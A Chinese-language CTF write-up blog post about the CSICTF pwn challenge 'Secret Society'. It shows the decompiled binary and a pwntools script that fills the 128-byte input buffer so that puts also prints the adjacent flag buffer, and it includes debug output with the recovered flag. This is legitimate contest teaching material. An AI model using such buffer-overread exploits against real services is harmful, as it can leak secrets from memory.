【CSICTF】Secret Society WriteUp

原创

古月浪子 于 2020-07-23 15:52:51 发布 194 收藏

文章标签： CTF

本文链接：https://blog.csdn.net/tqydyqt/article/details/107460378

Secret Society

494

pwn

Wanna enter the Secret Society? Well you have to find the secret code first!

nc chall.csivit.com 30041

这道题解题人数明显比前面三道题少了很多，不知道为啥 =_=
我感觉还是比较简单的

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  char v5[128]; // [rsp+10h] [rbp-D0h]
  char s; // [rsp+90h] [rbp-50h]
  FILE *stream; // [rsp+C8h] [rbp-18h]
  char *v8; // [rsp+D0h] [rbp-10h]
  __gid_t rgid; // [rsp+DCh] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  memset(&s, 0, 0x32uLL);
  memset(v5, 0, 0x80uLL);
  puts("What is the secret phrase?");
  fgets(v5, 128, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  v3 = &v5[strlen(v5)];
  *v3 = 'era ew ,';
  *(v3 + 1) = 'hwyreve ';
  *(v3 + 4) = '.ere';
  v3[20] = 0;
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("You are a double agent, it's game over for you.", "r", argv);
    exit(0);
  }
  fgets(&s, 50, stream);
  printf("Shhh... don't tell anyone else about ", 50LL, argv);
  puts(v5);
  return 0;
}
```

根本不需要读懂它到底在搞什么，只需要知道，我们让puts v5的时候连带着把s也输出出来就好了
其实这里的处理就是从换行符截断，然后在后面加上“,we are everywhere.”，因此，把v5的128字节写满即可。后面读flag的时候会覆盖掉，可以成功输出

```python
from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30041)
#io=process('./secret-society')
elf=ELF('./secret-society')

ra()
sl('a'*128)

io.interactive()
```

wesker@ubuntu: ~/Desktop

文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)

```
[*] '/home/wesker/Desktop/secret-society'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Received 0x1b bytes:
    'What is the secret phrase?\n'
[DEBUG] Sent 0x81 bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[*] Switching to interactive mode
[DEBUG] Received 0x25 bytes:
    "Shhh... don't tell anyone else about "
Shhh... don't tell anyone else about [DEBUG] Received 0xa2 bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,csivit{Bu!!er_e3pl01ts_ar5_
5asy}\n'
    '\n'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,csivit{Bu!!er_e3pl01ts_ar5_5asy}

[*] Got EOF while reading in interactive
$
```